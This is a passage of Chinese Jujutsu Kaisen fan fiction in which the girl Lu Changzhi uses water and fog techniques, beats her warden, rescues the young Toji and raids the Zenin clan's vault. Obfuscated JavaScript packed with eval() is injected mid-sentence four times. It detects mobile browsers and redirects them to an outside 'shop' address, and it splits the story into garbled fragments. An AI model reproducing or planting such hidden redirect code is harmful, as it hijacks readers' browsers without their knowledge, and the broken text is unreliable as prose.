咒力附着在匕首上,擅长近战的阳太等着来自路长知的攻击,但是路长知一动不动。她站在那里,睁着圆圆的眼睛,那样认真地望着站在对面的人。让人紧张,激动,恐惧又兴奋。 院子里的雾气一点点浓厚,远不到阻碍视野的地步,但是有什么不对。 总是不肯停歇的鸟鸣消失了。有什么东西要来了。紧迫感催促着阳太,让她赶紧动起来,逃跑也好,战斗也好,唯独不可以等在原地。有什么东西要来了。庞大的,野生的,腐朽的。 阳太想抬脚。从身处雾气之中开始到现在不过数秒,刺痛感密密麻麻,由皮肤攀附到神经,最终抵达控制一切的大脑。 某种尖锐的东西搅动着脑髓。 细密连绵的痛楚啃食着理智。 粗重的喘气声不来自喉咙,不来自胸腔,不来自肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495655|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。深红色的液体从口中溢出——粘稠的,腐臭的,溃烂的。 排出体外的不是来自体内的。 路长知向前迈一步,又一步,快速走到阳太身边。 不知从何处而来的深红色液体通过皮肤从阳太的身体里向外蔓延,短短数秒内,她身下那滩暂时称作血泊的液体已经比她体内鲜血含量要多了。如果真的是血,阳太早就已经死了。 但是她还在呼吸,轻微、缓慢,活着的证明。 而在路长知走向阳太的过程中,那些液体又消失了。如果不是阳太此刻正昏迷着,路长知几乎要以为那是她的幻想,对强大力量过于渴望引发的结果。 蹲下,手指触碰阳太的脖颈,轻微但平缓的震颤令人安心。 叫来仆人,对外的解释是两人对练的失误。 流水附着的毒素可以使人昏迷,这是一次尝试,阳太昏迷的时间越长,意味着毒素的效果越好。 路长知不担心阳太醒来后会否定这个说法,因为她根本不知道发生了什么。 非要说的话,其实路长知也不太确定,但是那是她想出来的招式,她明白其中的原理,就该知道是什么催生了刚才的一切。 即便存在于脑海中的只是一个猜测。 一路边和人打招呼边走回房间,关上门,路长知靠着门板,轻轻吐出一口气,雾气同时开始在房间里蔓延。 两分钟后,房间里的雾气浓稠到有些阻碍行动的程度,几乎要变成另外的什么东西。 路长知凝视着,等待着,但是雾气始终是雾气,没有发生任何变化。她的身体也没有发生任何变化,无损害,无增益。 于是实验继续。房间里的浓稠一半化为流水,一半仍旧是雾气,来回尝试几次,路长知迅速掌握了这项技能。就像第一次使用流水时一样,一切就那么自然而然地发生了,如同呼吸。 这样的天赋在一定程度上让路长知有些恐惧与无措。上一世会获取巨大的成功,主要是归功于努力。为了使自己可以完全掌握自身,路长知将每一分钟都规划好,她用十八年的努力,换取了后面一切都随自己心意的成果。 但在咒力上的天赋是真正的天赋。 突然从普通人成为天才,路长知很难迅速调整好她的思维。 今天的意外是一种无声的催促。如果她不能转换思想,明白拥有天赋是一种什么感觉,今日的偶然将会成为日常。 正如看到鸟儿落在枝头,想拥有同款飞向高空的能力,流水就会蒸腾成雾气。 那样的转化没有赋予她飞翔的能力,却在她无知无觉间与深埋于地下的、早已腐烂成枯骨的尸体联结。 那深红色的液体是伤害,也是伤痛。 在路长知意识到这件事的瞬间,雾气褪去伪装,显示出原本深邃的、浓稠的红色,几近成黑。黏糊糊的红色顺着雾气与流水交融的地方,一点点攀爬,涂抹,吞噬。 虽然不知道流水被完全染色后会发生什么,是否还有恢复原样的可能,但是路长知没有阻拦,她只是望着一切发生。好像她心中有一条线,在那之上的,什么都被允许。 5. 渺小的岛屿(五) 玲奈是个太常见的名字,在第一次介绍过后,路长知就没再想起来过。但是她一直记得对方带给她的感觉。于懵懂中绽放的结果通常不会很好。视线被吸引,但是在快要对视的瞬间,不着痕迹移开目光的人是路长知。她选择了逃避。 一直以来,路长知都是一个足够幸运的人,可以依靠成绩获取足够的自由。来自周围的压迫是她前行道路上注定会有的,在一定程度上,甚至可以说是帮助。也让她更加坚定自己的选择,离开,不然就会永远生活在这样的环境之中。 可无论她在日复一日的学习中锻炼出怎样强大且自洽的内心与思想,那都只适合用在平静的日常里。 刚来到这个世界时,路长知主动把自己和周围隔开。用的借口是禅院家烂透了,这当然是一个非常合适的理由,但是她的心里其实一直都知道,她只是还没有接受现实。 七年的时间足够她接受死亡与穿越,接受逝去的永远不会有归来的那一天,但是面对术式和咒力是一回事,面对咒灵和来自人类的明晃晃的恶意是另外一回事。 路长知经历了一切青春期女孩会经历的事情,但那些会真切地对身体和心灵造成无法挽回的伤害的事件从来没有发生在她和她认识的任何一个人身上。那或许是幸存者偏差,但那也是她生活了十八年的人生。而在这个世界的第七年,比起说是收到来自天赋的警示,不如说是她的未来已经到来不得不将把她与世界隔绝的那层纱掀开的地步。 再沉湎于上一世那样平和的氛围中,等待她的,一定不是一个在咒力方面非常有天赋的人应当有的未来。 在她没有意识到这一点时,禅院家地下掩埋的所有生命都在警告她。 或许她并非不能飞,而是因为那是一次不那么正确的尝试。路长知的思路跑偏一瞬。是的,她没有放弃飞向高空的想法。那是扎根于人类基因里的东西,她察觉了,自然会想尝试。 “你们闹矛盾了?”在路长知第三天没有和阳太黏在一起时,终于有人忍不住发问。 “怎么会,”路长知说得轻飘飘的,“难道你不想和我做朋友?阳太在我身边的时候,你总是兴致勃勃的,哦,我知道了,你只是在享受和阳太保持一种竞争的关系,胜利非你所愿。” “胡说八道。”即便知道这是激将法,对方和路长知待在一起的时间也越来越长。 似乎确实如路长知所言,那些在阳太和她黏在一起时的人,在发现两人之间的距离在慢慢拉远,她们就不像以前那样总是盯着她们,不再想着什么时候和两人关系更紧密一些。 原来她们投来的目光不是因为喜欢,而是任何亲密的组合都会被警惕。 是因为太长时间没有与人交流吗?路长知忍不住在心里质疑自己。 这样简单的局面不仅花了一个月才看清楚,还高高在上地觉得自己是特殊的、值得关注的,把虚情假意当真心实意,以为自己真的很有魅力,只是教一些小技巧,说一些没什么意义的话,就可以得到绝大多数人的喜爱。 其中有多少是阳太带给她的错觉呢,阳太是值得信任的吗,现在的疏远是因为察觉到危险,还是已经足够了解她,发现她是一个不值得继续关注的存在? 意识到现实并非她透过薄纱观看到的那样,路长知在感叹过后很快恢复平静。 虽然心中有许多关于阳太的疑问,但是路长知其实不在意答案。她只是需要思考,好叫自己不要产生太大的情绪波动。 路长知很少会问具体的人“为什么”,所有答案都在她曾阅读过的作品中,她需要做的只是将那些情节与现实对应起来。 不需要完全一致,只要一个大概,她就能明白是什么在驱使人采取行动。 不如说,知道大家远没有她幻想得那么单纯,路长知反倒松了一口气。那说明她没必要将她们的命运背负到自己身上。 早该这样的。训练场上,轻快而迅捷地击退今日对战的最后一个人,路长知眼眸带笑地站在原地。这样大脑就轻松多了。 “我这样的天赋,”路长知对美枝说,“不够强的人,是没有办法成为我的丈夫的。” 路长知从未掩饰过她对禅院家的不满,所有人都能看出来,她早晚是会离开的。她有能力,也有计划。但是听听看她刚才说的是什么吧,她开始为留在禅院家嫁人而提出要求了。 一些人下意识将目光投向阳太,像以往每一次一样。但是这一次,她们扭头的动作不够统一。 阳太和路长知之间的距离是肉眼可见的,有人扭到一半反应过来,阳太已经不是解读路长知最好的方法。 可是站在路长知身边的新人,玲奈,那个狂热地喜欢着阳太的人,她怎么会站到路长知的身边? “啊,”听到有人小声喊出玲奈的名字,路长知终于把这张令她印象深刻的脸和姓名对上号,“你就是玲奈啊。” 这是一句无意义的感慨,但听在玲奈耳中,就意味着路长知早已知晓她的一切。她以为自己是在和路长知玩,她是处于高位的那一个,结果现实好像不是那样的。 “你知道我啊,”她说,脸上仍旧是纯真的笑,“听说了不少关于我的事情吧。” “一部分吧。”如玲奈般依赖身体与他者存活的人在禅院家并不少见,只是路长知以为这个训练营里是不允许这种事情发生的,但是现实好像不是那样,他们亲自将人送进来,当鲶鱼,当另一条路。 其中究竟有多少恶意……他们真的甘心将最好的给出去? “真丑陋啊。”路长知给出评价,对玲奈,对他者。 但浮现的流水是冲着美枝去的,她毫不犹豫地转移了注意力,好像玲奈所代表的现实没有在她心里留下一丝一毫的痕迹。 她问:“如果有击败你的能力,应该可以正大光明地踏出这个院子?” 禅院家确实明令禁止进入这里的人擅自离开。 美枝没有躲开,她挡下攻击, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495656|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向路长知的眼神十分平静。这正是她长久地守在这里所等待的,一次针对她的攻击,是否来自路长知并不重要,重要的是可以还击。 美枝不讨厌照顾小孩,但是她今年三十七,已经在这里看管她们二十年了。孩子们惧怕她,但是不尊敬她。她们把成长过程中看到的那一套很好地学到了这里——仆人是可以随意打杀的。 以前反抗的人会更多一些,好像一定要把她们的骨头碾碎才能学乖。 也许正是因为那样的画面实在惨烈,在一次次尝试之后,时至今日,如路长知一样要求光明正大离开的人越来越少。 久违的战斗使美枝兴奋起来,她看着路长知在非常短的时间内快速成长起来,一边感叹她的天赋,一边感叹她的幼稚。 美枝不觉得自己会输。从二十年前,在一场残酷的游戏中被来自背后的匕首刺中心脏后,她没再让任何人走出这个院子。她只是感慨,年幼的孩子总以为自己可以改变世界,总觉得自己是特殊的那一个,总想着未来会如期而至。这种想法没什么不好,但是认不清现实,在天赋不够的人面前,可是重罪。 看着对方脸上的表情一点点放开,不再压抑着眉眼,甚至时不时会展示出带有疯狂意味的笑容,路长知体贴地放出了浓雾。 阳太是第一个选择离开的人。即便她记不清那天究竟发生了什么,浓重的恐惧也如影随形,使她夜夜惊醒,到后来,只是想起路长知,身体就会止不住地颤抖。由路长知给予的恐惧违背了人体本能,使阳太不仅没有忘记,反而随着时间流逝,记得愈发清晰。 和传言中想拉阳太下水不同,玲奈是真的相信阳太,喜欢阳太,愿意为阳太奉献一切。她一直注视着阳太,比阳太更早发现那植根于身体深处的恐惧。那是她选择接近路长知的原因。她想弄明白阳太身上发生了什么,她想找到治愈阳太的方法。 但是路长知平等地对待她。今天之前,玲奈都以为那是因为路长知不知道她是谁,不知道曾、时至今日仍发生在她身上的一切,但是路长知什么都知道。 一切都发生得太快,让玲奈没有时间思考要不要跟随阳太离开。是听从阳太的恐惧,还是接受路长知的平等。 玲奈还在纠结,一分钟,两分钟,浓稠雾气没有扩散,路长知将战斗控制在训练场上。 握紧的双手慢慢松开,这样的话,似乎没有纠结的必要。 玲奈有一种预感,只是这几天跟在路长知的身边,她就有了一种直觉,路长知一定能够得到她想要的。 如果不是有自己会赢的把握,路长知不会开启这场争斗。 “这里怎么回事?”一个慵懒的声音响起,来自男性。 玲奈猛地扭头,眼中是她自己都没有意识到的敌意。下意识的,玲奈认为这个时候来到这里的人一定是不怀好意的。他会打断这场争斗,让路长知的计划落空。但是看清楚对方是谁后,敌意消退,只余下惊讶。 “甚尔?” 6. 渺小的岛屿(六) 虽然在外人看来是同样的雾气,但是路长知没有失去对生命的敬畏。那天在房间里,深邃的色彩确实吞噬了流水,只是没有发生什么实质性的影响。流水仍旧是流水,雾气也依旧是雾气。 那时,一种玄妙的感觉出现在路长知心中,就像她当初突然知道该怎么使用流水一样,她知道自己已经可以完全操控这项能力了。 今天是那之后第一次在实战中使用这个能力。乳白色的雾气即便浓稠到看不清内部情况,也没有对美枝造成太大的影响。 身为有多年实战经验的咒术师,视野受限的情况并不少见,身体行动时空气带来的、微妙的阻力才是更令人头疼的事情。 美枝尝试判断咒力流动的方向,但这将她包裹起来的雾气本身就是由咒力构成的,很难察觉路长知行动时那微小的动静。美枝本身没有术式,她靠咒具祓除咒灵,在禅院内部,算是对咒力流动非常熟悉的。 身体比雾气稳定,行动时带起的风也有帮助,轻微,但是有效。 这叫远处的流水错过了掌心,击中了指骨。 拉成长丝的水不断流动着,一点点割开血肉,将更长久也更尖锐的疼痛带给美枝,令她的手不受控的颤抖起来。 情况不利于自己时,最不应该出现的情绪是犹豫。美枝没有犹豫,几乎是察觉到流水没有离开的瞬间,身体便在大脑的控制下向后撤。手指没有当场掉下,未完全切断的骨头支撑着基本的形状,只是会在身体移动时,出现人类不该有的晃动。 这不是路长知的本意,但是她不会对此感到后悔。她选择了以这样的形式展开攻击,自然要接受因此产生的结果。 流水的出现与消失在很多人看来都是凭空的,和路长知本人在哪里没有太大的关系。在路长知来的前一个星期,美枝也是这样认为的。因此,她将目光长久地放在路长知身上,一点点了解她的行为,她的性格,她的能力,直到迎来“看见”的瞬间。 美枝的行为在路长知意料之外,那动摇的一瞬,正是美枝等待的、绝佳的进攻时机。 沿着咒力轻微颤动的路径,美枝一路朝路长知的位置奔去。 没几步路的距离,两人打了个照面,美枝将匕首扔向路长知消失的位置,听到皮肉被划开的声音。几乎是攻击奏效的瞬间,美枝再次失去了路长知的踪迹。她跑到路长知刚才所在的位置,没有血。 她不该感到失望和意外的,美枝想,她一直都知道路长知的反应速度有多快,对方完全来得及接住流下的鲜血,不叫她有机会循着血找到她。 吐出一口气,将挫败感收起来,美枝恢复冷静。 无论是包扎,还是用流水接住鲜血,只要路长知有动静,美枝就可以察觉到,从而找到她,抓住她,报复她。 但是自那之后,美枝再也没有在浓雾中看到过路长知。随着时间流逝,美枝开始怀疑,路长知是否还在这片雾气里,以及,这雾的范围是不是有些太大了? 美枝停下脚步,开始回想过去几分钟的画面,她发现地上不仅没有路长知的血,也没有她自己的血。 割开胳膊的动作同样没有迟疑,疼痛也并非虚假,流下的鲜血确实滴在地上。就这样滴着血往前走,不仅关注身前,也在意身后的鲜血。后面的血从未消失,前面却始终什么都没有。美枝无法理解,哪怕不是在直行,也该在整个练武场都留下痕迹了。这不对劲。 “你做了什么?”美枝问,“你在哪里?” 这不是操控流水能够产生的效果,路长知究竟研究出了什么能力,阳太是因为这个远离她的吗?终于意识到她们不是一类人,没有办法在前往未来的路上同行? 比起生理上的疲惫,更难令美枝难以接受的是她开始觉得自己没有办法离开这片浓雾。最终等待她的,甚至不是生死搏斗,而是她一个人的挣扎。 真不公平啊,天才这种东西,到底为什么存在呢? 美枝感到不甘心。 她已经不是当初那个被朋友背叛并差点杀死的可怜小孩,她顺利地活到现在,在无数种可能中选择了现在这种,她该有如她所愿的未来,而不是停在这里。 于是她尝试,一次又一次,好像比起死亡,停止是更值得恐惧的事情。 而路长知,她早早站在树上,安静地望着美枝。看她进攻,看她挣扎,看她做无用功。但是她没有叫停。 雾气当然有致幻的功能,感谢现代化学,在阳太昏迷那天拿有毒当借口之后,路长知就一直在尝试真的加点毒进去。 载体是水,路长知可以进行的尝试数不胜数。 不知道是不是因为生活在这里的人有较大的可能会成为禅院主母,一直以来,仆人都没有过拒绝路长知以研究咒术为由提出的要求。她们将书籍和实验所需的材料尽数送到她的房间。 路长知在做这一切的时候没有尝试隐瞒任何人。 可能是思维不同,她们不认为那些东西有什么用,没有对此生出警惕心。 这是路长知的幸运,也是只能存在于这里的幸运。 在禅院家,尤其是以路长知为圆心,半径五十米的范围内,地下的水会比其它位置的水更好控制一些。 将美枝视野范围内的血用水覆盖掉是一件非常简单的事情。 美枝将太多的注意力放在寻找路长知那么大的物体上,覆盖血迹需要的流水又实在太少,再加上雾气中含有的致幻成分,她当然不可能发现路长知的小把戏。 正在此时,路长知听到一阵极其轻微的脚步声。她扭头,看着一个满身伤痕与血迹的少男一步步走向她所在的树。 对方前行的方向太准确,让路长知下意识将目光移向周围。雾气铺天盖地,但是对方就是直直地朝她走来。 随着对方一点点深入,精神开始走死路的美枝也察觉到他的存在。那不是路长知,判断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495657|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被瞬间下好,但那是一个机会。 短刀朝着少男而去,双方快速打几个来回。 战斗进行到这一步,没了继续下去的必要。 雾气慢慢消散,路长知从树上跳下来,正落在两人之间。 “改天继续?”路长知不管这个叫胜利。虽然在她的观念中,像两人这样的打斗才能被称作是比斗,但是路长知很清楚,这么短的时间内,她是没有办法以这种方式打赢任何人的。 而咒术,她在这方面实在是太有天赋,让她不好好把握这个被关注又不够被在意的时机都不好意思。 “你赢了。”如果路长知没有解除术式,美枝还有继续的理由,即便她很清楚,两人间的输赢在雾气出现时就已经决定了。 但是现在,继续纠缠的话,输得就有些太难看了。 “下次继续?”路长知问,说得好像她没有时时刻刻想着怎么离开禅院家一样。 美枝没有回答,她皱起眉头,搞不懂路长知在想什么。 路长知不在意她的回答,扭头,好奇地问:“你怎么知道我在哪儿?” “很难发现?”少男面无表情地问,看起来有些阴沉。 “在雾里很难,我保证人会在雾里失去方向感。”虽然没有人可以帮路长知做实验,但是在这样好的生态环境里,动物要多少有多少。 唯一令路长知耿耿于怀的是最开始进行实验的时候,她没有把握好剂量,让一只松鼠永久地失去了辨别方向的能力。 虽然对方现在和她生活在一起,活得也不算差,但是那毕竟不是对方的主动选择,是别无它法。 好在对方没有办法直接和她沟通,叫她不必有更多且长久的愧疚。 少男歪头,稍微回想一下,说:“好像是。” “好吧。”意识到对方根本没有考虑这些,而是完全凭借直觉走到这里的,路长知便知道,即便得到答案,也不是她能够理解的。或许可以,但是两个陌生人要在见到彼此的第一面就成功对上脑电波实在是一件不值得期待的事情。反正她们都在这里,以后总有见面的机会,下次再好好交流就好。 “你从那边走吧。”路长知指了一个方向,不是少男最初选择的那条路。 那条路引导两人相见,已经完成它的使命,现在是路长知回报这次相遇的时间。 闻言,少男像是来了兴趣,他问:“你能感知到多远?” “下次见面再回答你,不作为交换,只是提议,你想一下是怎么从门口走到这里的可以吗?” “下次?”少男环视周围的目光带有鲜明的嘲讽。 “下次。”路长知回答得十分肯定。她不是死心眼的人,美枝说她赢了,她当然要抓住时机出去好好逛一圈。然后再回到这里,用她的亲身经历将离开的道路一条条试出来,展示给这里所有人。 她始终相信,总有那样一条路,是给大多数人的。 7. 渺小的岛屿(七) 虽然说着下次,但是路长知没想到她们的再次相遇会那么快发生。就在隔天。以及,原来不是纯粹的霸凌,其中还有咒灵的份。望着被扔进咒灵堆的人,路长知产生这样的想法,也知晓了对方的名字——甚尔。 意外,非常意外。 五条悟前不久才诞生的消息虽然令路长知惊讶,但是远不如眼前这个年纪的甚尔展露出的现实带来的冲击大。在路长知的印象中,甚尔最狼狈的样子也比现在要好。但又好像很合理。 不如说,时至今日才看到禅院家这样鲜血淋漓的一幕,她还真是好运。 甚至不用因为她的反抗心理而被扔进去亲自体验一下。 而是以敏一为借口把她叫来,进行一次杀鸡儆猴。 瞥一眼敏一,他没有预料到路长知的出现,他们的计划没有经过他的同意。或许本来也不需要。他只是一个由头,他本身并不重要。 没一点长进。得出结论后,路长知收回视线,往前踏一步。她的行为没有被那些一直注视着她的人忽视。 “你不会要去帮他吧?一个废物而已。”有人开口问。 路长知昨天和甚尔交谈并为他指路的行为当然被传进他们耳中。这群人中不乏觉得自己是可以成就伟业的人,他们将院子里的人视为自己的附属品。甚尔闯进去的理由并不重要,重要的是他进去了,并确实得到了里面的人的注意。 这倒不是说院子内外不允许进行交流,但是甚尔是谁?一个没有一丁点咒力的废物,不配被称为是人的存在。那样的东西只要呼吸,就是一种冒犯。 特别是在一些人,尤其是小辈眼中,甚尔昨日的行为不是在求生,而是故意挑了那样一条路,故意利用天与咒缚的特性闯进训练场引起路长知的注意。 至于甚尔为何有那样的选择,他们从不在意。 这种行为给路长知对安稳生活的期待撕开一道几乎无法愈合的裂口。 看漫画时没有太认真,更多是对他们命运的好奇,没有尝试理解他们的行为与思想,甚至没有好好阅读那些书写这个世界以及他们内心的文字。 这不是路长知的过错。对于那时的她来讲,那只是一个故事。而不管阅读时有多少遗憾,都可以在脱离故事情节后从同人作品中得到慰藉。 可当甚尔以如此惨烈的形象出现在她眼前时,他的未来与所有人的未来就都出现了。那样的未来是看过一次就很难遗忘的内容。 没有咒力的拳头无法击中咒灵。甚尔躲避的动作开始变慢。被击中,被伤害。 望着甚尔愈发阴沉的表情,路长知突然感到疲惫。不知从何何处而来的无力感袭上心头。 没有回答的必要,路长知想,好像,除了离开禅院家以外,还有别的什么事情是她必须要做的。 流水将甚尔从咒灵堆里卷出来。 什么东西飞速从他的视野边缘闪过。 下意识追着那东西望过去,一条条细细的水线将咒灵分割成碎块。 不仅仅是咒灵,整个房间都被摧毁。 今日天气很好,湛蓝的天空万里无云。 流水在路长知头顶汇聚成一片,挡住突然明亮起来的光线。 太阳光照进流水里,在地上投下闪烁的光斑。 这里的人虽然都摆出恨不得要杀死甚尔的态度,但是他们不真的那样做,而是戏耍着他,欺辱着他。只是伤害他的身体并不足够,一定要他的灵魂坠落成他们想象中的模样,才能体现出他们的强大。 轻轻吐出一口气,路长知觉得自己远没有做好亲手杀人的准备。 但是她还是动手了。 流水化作利箭,在真的刺进某人身体之前,箭尖先对准那个人,就那么高高挂在空中,给足对方反应的时间。比起升起警惕心与恐惧感,最先抵达的永远是嘲讽与贬低。路长知感觉在这样的环境中生活太久,她好像已经习惯他们总是在说这样的话了。 总是这样,真的不会感到厌烦吗? 那些话语,不需要真的从那些人口中说出,声音就已经在耳边回响了。 他们不烦,路长知却觉得有些无聊。 打个哈欠,在对方的不以为意中,利箭以超出对方反应能力的速度刺穿身躯。 年轻的、腐朽的,都在那身体里。 不致命,但利箭如雨,接连不断。 路长知的攻击超出所有人预期,包括她自己。她深知这样的行为叫做故意伤害,是可以判刑的。只是因为来到这样一个世界,诞生于这样一个家族,好像一切罪与恶都是与世俗脱节的。 或许她应该给甚尔扔一把咒具,让他有正当防卫的能力。 现在应该也不晚?还可以把杀人的罪孽推出去。这样想着,路长知没忍住笑一声。如果不是因为甚尔现在是个小孩,她真的会对这个想法心动也说不定。 “是因为这里没有你在意的人吗,”路长知感到好奇,“报复对你来说是奢侈品吗?” “哈?”甚尔当然会选择报复。但是那和路长知以为会有的报复完全不同。 明明是在恶劣的环境中长大,结果行为比谁都要守规矩。 “他们会让你吃饱吗?”路长知问。 甚尔没有回答。答案显而易见,那也是一种折磨人的方法。时刻保持饥饿感是一件非常可怕的事情,会对人的大脑造成深远的影响。就最终结果来看,通常会使人异化成非人的存在。 “走吧。”路长知说。 “去哪儿?”甚尔问。 “我也就能欺负欺负小孩和守卫了。在惊动更多人前,你是要和我一起离开,还是留下来?” “去哪儿?” “不会饿到你的。” “……我一直都有机会离开,”甚尔站在门口,低头望着他们,充满痛苦的哀嚎也曾从他口中发出,现在他成为观赏者,“是因为不是我做的吗?” “什么?” 他还是望着他们,“我不觉得快乐。” “因为他们不重要。如果有一天你要动手,甚尔,不用搭理这些人,直接朝着家主那种地位的人动手。你会从中感受到乐趣的。” “真的?”甚尔扭头看向路长知。 “试试看喽,去吗?” “不是要逃?” “那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495658|202487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情无所谓啦,不试试?” 甚尔盯着路长知,从她的表情中意识到,她是认真的,“这么胡来?” “哇,被你说胡来的感觉好奇妙。”路长知捂着心口,微微睁大眼睛。 甚尔笑出声,“大闹一场?” “先去忌库!”路长知给出提议。 “这边。”甚尔转身的动作可以说是迫不及待。 “要试试飞吗?” 甚尔猛地停下,转头的动作非常迅速,“你的咒术不是控水?” “水能变成箭,也能变成炮?”路长知的回答不太确定。她其实是刚刚才想到怎么飞的,一些不太体面的方法,但是值得尝试。 年纪轻轻的甚尔皱眉,不理解炮是什么。 “试试,”路长知强调道,“只是试试!” “可以。”甚尔答应得很快,他们本来也没有时间可以用来犹豫。 流水在话音落下的瞬间将两人围起来,长长的水流不停旋转、压缩。 从外部看,那是狂乱的一幕,但是内部,流水铸就的圆球将两人保护得很好。 路长知破坏房屋的动静非常小,如果不是流水旋转的动静太大,其他人可能还要一段时间才能发现这里出了什么事情。 在人们朝着这边跑来的同时,圆球从水流中央弹飞出去。 动静很大,目的地很明确。 在空中的时间其实非常短,这套临时想出来的方法运行起来出乎意料得好用。 即将降落前,路长知只来得及在圆球外裹一层带有树枝和沙土的流水,之后圆球直接撞进忌库。 当然,当然,不可能这么简单就进去,但多少解决了一些困难。 “我在结界这方面,可以说是毫无建树,”路长知扭头看向甚尔,“靠你了。” “哈,什么结界?”甚尔知道忌库的存在,完全是因为找他麻烦的人曾拿这个来炫耀。 他暗中跟随对方去过忌库附近,但是没能进去,也不知道忌库意味着什么。 “对天与咒缚来说不存在的东西。进去之后先找可以存放东西的咒具,找不到就先挑你觉得厉害的东西扔出来。他们来这边会比去那边更快,别思考,甚尔,动起来。” 甚尔扯出一个狂妄的笑容,“老子会把这里搬空。” 对着甚尔远去的背影眨眨眼,路长知笑一声,“你最好真的能做到。” 做不到也无所谓。路长知在心里做了决定。两个人都离开是不可能的,但是全力以赴将甚尔送走是值得尝试的。 路长知有自己留下来也不会被杀的信心。她唯一担心的是先赶来的是直毘人。 但是担忧无用。流水将从碎石中爬出来的守卫者击倒,手段有些粗糙,只能保证不死。现在的路长知没有精力做太精细的操作。 她先把浓雾做出来,范围要尽可能大。 犹豫一瞬,因为不太确定范围过大是否还能可控,路长知最终没有调成致幻模式,而是改了颜色。 看起来吓人也是一种非常好用的手段。 在己身能力不足的情况下,敌人思考得越多,对自己越有利。 8. 渺小的岛屿(八) 来的不是直毘人,这很好,流水如从地上长起的枝蔓,稳稳地托举着路长知的身体。浓雾同样会影响她的视野,却也会将所有人的反应都传递给她。算是另一种视野。不知道六眼眼中的世界是什么样子的,会有可以就这一点进行沟通的机会吗? 但到那时候,她应该也不会在意这个问题的答案了。 一眼可见的未来在稍微分神的瞬间已经完成构想。面对接连不断赶来的人群,路长知没有主动出击。她现在需要做的是守好门口,拖延时间,在真正的危险降临之前,尽可能给甚尔的行动争取足够的时间。但其实,所有一切都不在她的可控范围之内。 这让路长知不可避免地想起来上一世的生活。那时,虽然她的一切行为都在别人的注视下,她的生活几近透明,但是她的精神世界非常充足。为了给她足够好的学习环境,让她得到足够好的学习成绩,那些困住她的,在很长一段时间里,也是保证她能够获得自由的基石。 跑神到这个地步差不多就可以了。这么想着,路长知将目光移向远处,果然看到一个摇摇晃晃的身影在逐步靠近。他来得并不着急。如果不是因为事情涉及到忌库,他可能甚至不想来。 轻叹一口气,流水从雾中射出,击中一些人,错过一些人。 在那些躲开的人以为第一轮攻击到此为止时,接连不断的流水从雾中射出。 虽然远离院落,但是这里还是禅院家,路长知借用来自地底的水时非常轻松。这让她顺利坚持到直毘人走到忌库前。 “喂,小鬼,过来。”直毘人的目光落在路长知身上,没有一丝一毫的犹疑。 人与人之间的差别居然这么大吗?前一天用雾气将美枝耍得团团转的喜悦在此刻尽数返还,还带上一点不解与懊恼。 路长知依言来到雾气边缘,流水缓缓渗入地下,她也一点点从空中落下。但是人始终没有离开浓雾。她想表现得像是那雾气对她有加成,是一种保护自己的方式。不知道能不能骗过对方。 “你们想怎么闹都可以,但忌库很危险,老头子们也很吵,体谅一下我吧,把甚尔叫出来,别让我有机会亲自去,”说着说着,直毘人有些迟疑,毕竟路长知看起来很小一只,而过往和甚尔交谈的经历又十分不顺,“能明白吗?” “可以,我这就去。”如果这是结果,那就比路长知以为得要好很多。 她转身往忌库门口跑的动作没有丝毫迟疑,像是一直在等待这样的机会。 一路跑到门口,路长知朝内左右看看,小声喊甚尔的名字。不知道是放轻声音的缘故,还是房间太空旷的缘故,路长知觉得自己的声音听起来终于让她有了一点自己现在七岁的稚嫩感。 于是她没有安静等待,而是又喊了一声甚尔的名字。声音没有重量,轻飘飘地回荡着、悬浮着,直至将名字的持有者唤来。 “打输了?”甚尔没有找到可以存放东西的咒具,毕竟没有名录,除了一些特征非常鲜明的武器,他什么也认不出来。 十分钟前,大概看一圈的甚尔把用来装饰的挂布扯下来当袋子,往里面装了满满一兜咒具。 “直毘人在门口,”路长知小声说,“我打不赢。你看看有没有像是可以用来收纳的咒具。” “看不出来。”甚尔拿的时候有尝试进行分辨,可惜没看出来什么名堂。 “好吧,那怎么办?” 